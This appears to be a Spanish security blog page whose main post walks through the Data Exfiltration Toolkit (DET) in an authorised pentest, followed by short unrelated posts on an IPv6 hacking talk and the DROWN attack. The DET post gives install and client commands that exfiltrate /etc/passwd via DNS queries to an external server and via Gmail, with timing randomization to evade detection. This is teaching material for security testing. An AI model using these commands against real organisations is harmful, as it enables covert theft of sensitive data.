Yuzi download

Cuando un pentester tiene que realizar una prueba de Data Exfiltration dentro de una auditoría, ésta puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que intente sacar documentos del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, y no pensemos solamente en el mundo físico con los pendrives.

Figura 1: Data Exfiltration Tookit (DET) Filtrando documentos fuera de la empresa por canales encubiertos

La encapsulación de información dentro de protocolos comunes como TCP, o el uso de canales encubierto ocultando ficheros en ficheros, usando conexiones vía Radio Frecuencia, GSM o Calor, e incluso los SSID de una WiFi, pueden ser las vías más utilizadas para extraer información de una organización. Y por ello existe toda una disciplina de estudio centrada en la esteganografía y el estegoanálisis.

DET: Data Exfiltration Toolkit

DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes.

En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se deben ejecutar estas instrucciones:

git clone https://github.com/sensepost/DET.git
pip install –r requirements.txt –user.

Esta última instrucción descargará e instalará todas las dependencias referentes a Python, que es el lenguaje en el que DET está implementado.

PoC 1: Enviando un fichero a través del protocolo DNS con DET

Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:

• La posibilidad de configurar un fichero dónde se indican los parámetros que tanto el cliente y servidor deben conocer. Por ejemplo, el contenido se cifra con AES-256 a través de una clave que se indica en el fichero de configuración. 

• La opción de extraer un directorio o un fichero en concreto. 

• La posibilidad de indicar el plugin o listado de éstos que se quiere utilizar. Esto es útil si no queremos lanzar todos los plugins. 

• Los plugins disponibles en estas primeras versiones de DET son: HTTP, Google Docs, DNS, Gmail, TCP, UDP, Twitter o el protocolo ICMP.

• Además, existen unos scripts escritos para Powershell para llevar a cabo este tipo de técnicas desde entornos Microsoft.

DET proporciona dos roles diferenciados. La máquina que se encuentre en el exterior de la organización hará las funciones de servidor y será el que espere recibir el fichero “robado” de la organización. Por otro lado, el rol cliente será el encargado de generar la conexión desde el interior y utilizar los diversos plugins para enviar el fichero o carpeta hacia el servidor.

Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos.

Figura 2: Configuración de DET

Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón.

Figura 3: Configuración del patrón de cambio

Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros –L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero “robado” en esta máquina. Se utiliza el parámetro –c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro –p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.

Figura 4: Configuración del listener que recibirá los paquetes de datos

Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:

- Query 1. [Contenido Cifrado].pablo.com.
- Query 2. [Contenido Cifrado].pablo.com
- …
- Query N. [Contenido Cifrado].pablo.com.

Para configurar esto se debe ejecutar la siguiente instrucción:

python det.py –c ./config.json –f [fichero a extraer de la organización] –p dns.

Figura 5: Envío del fichero /etc/passwd

Si analizamos con Wireshark la red podemos ver un gran número de consultas repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un “trozo” de fichero que el servidor se encargará de descifrar y procesar.

Figura 6: Consultas al servidor DNS vistas con Wireshark

Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes.

Figura 7: Fichero totalmente recibido

La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa.

Figura 8: El fichero ha sido exfiltrado y recompuesto completamente

El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.

PoC 2: Robando información a través de la cuenta de Gmail

En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos mensajes de e-mail con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail.

Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro –p que el plugin a utilizar es el de Gmail y sólo ese.

Figura 9: Recepción del fichero vía Gmail

El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían e-mails a uno mismo para ir dejando la información en los distintos correos electrónicos.

Figura 10: Envío de fichero desde el cliente vía Gmail

Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros.

Figura 11: Mensajes de correo dejados en Gmail con trozos Base64 del fichero exfiltrado

Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa? Hay que tener en cuenta que a veces no basta con sacar el fichero, ya que este puede llevar un "callback home" que avise cada vez que se abre de la ubicación desde dónde ha sido abierto, así que no solo hay que robarlo, hay que conseguir abrirlo sin que se enteren, pero de eso ya hablaremos en otro momento.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y “Pentesting con Powershell”

Ya se han comenzado a publicar en vídeo las charlas que componen el XII Ciclo de Conferencias TASSI, que podéis ver en la web de CriptoRed. Entre las charlas, nuestro compañero de Eleven Paths Rafael Sánchez (@r_a_ff_a_e_ll_o) participó con una sobre cómo se podía montar un escenario de hacking IPv6 montando un VPS con los túneles IPv4/IPv6 adecuados.

La sesión explica los fundamentos básicos del protocolo IPv6, y da consejos para empezar a trabajar en Internet con IPv6, algo que usarían después para la charla que impartieron en RootedCON sobre cómo escanear IPv6 en Internet usando diversas técnicas. Aquí tenéis el vídeo de la sesión.

Las diapositivas están disponibles en formato PDF y las vamos a subir al Canal SlideShare de Eleven Paths, y si quieres más referencias sobre ataques en redes IPv6, te dejo los enlaces de los artículos que he publicado ya por aquí sobre esta temática.

Coincidiendo con el 1 de Marzo y la RSA Conference, tenemos un nuevo ataque criptográfico a HTTPs al que se le ha puesto un nombre llamativo. En este caso The DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) Attack que viene a afectar a aproximadamente una tercera parte de los servidores HTTPs en Internet.

El ataque se describe en el paper que han publicado en el sitio, pero básicamente lo que hacen es aprovecharse de que un servidor permita conexiones SSLv2 inseguras y conexiones TLS para capturar las sesiones TLS y descifrar las claves RSA que se usan en la conexión TLS mediante el ataque a SSLv2. Es decir, tal y como dice el paper necesitan capturar unas 1.000 sesiones TLS utilizando intercambios de claves RSA, después hacer unas 40.000 conexiones SSLv2 y realizar 2 elevado a 50 operaciones de cifrado simétrico para descifrar 1 sesión TLS. Pero si el premio es gordo, hay que ir a por ello.

Los servidores vulnerables son los que permitan ambos protocolos, es decir, TLS y SSLv2, además de aquellos que comparten claves públicas en frontales y alguno de ellos soporta SSLv2. En la web han publicado una herramienta para comprobar si tu sitio es vulnerable o no.

En la siguiente lista tenéis, por ejemplo, sitios de microsoft.com vulnerables a DROWN. Como veis a este bug le han asignado el CVE-2016-0703. Nosotros hemos añadido esta comprobación a la lista de plugins de nuestro motor de Faast para que puedas erradicar estos protocolos inseguros lo antes posible.

El paper que describe el proceso de explotación paso por paso lo tienes en la web de The Drown Attack, puro para amantes de criptografía, por lo que si quieres entender bien RSA te recomiendo que leas el libro de Cifrado de las comunicaciones digitales.

Saludos Malignos!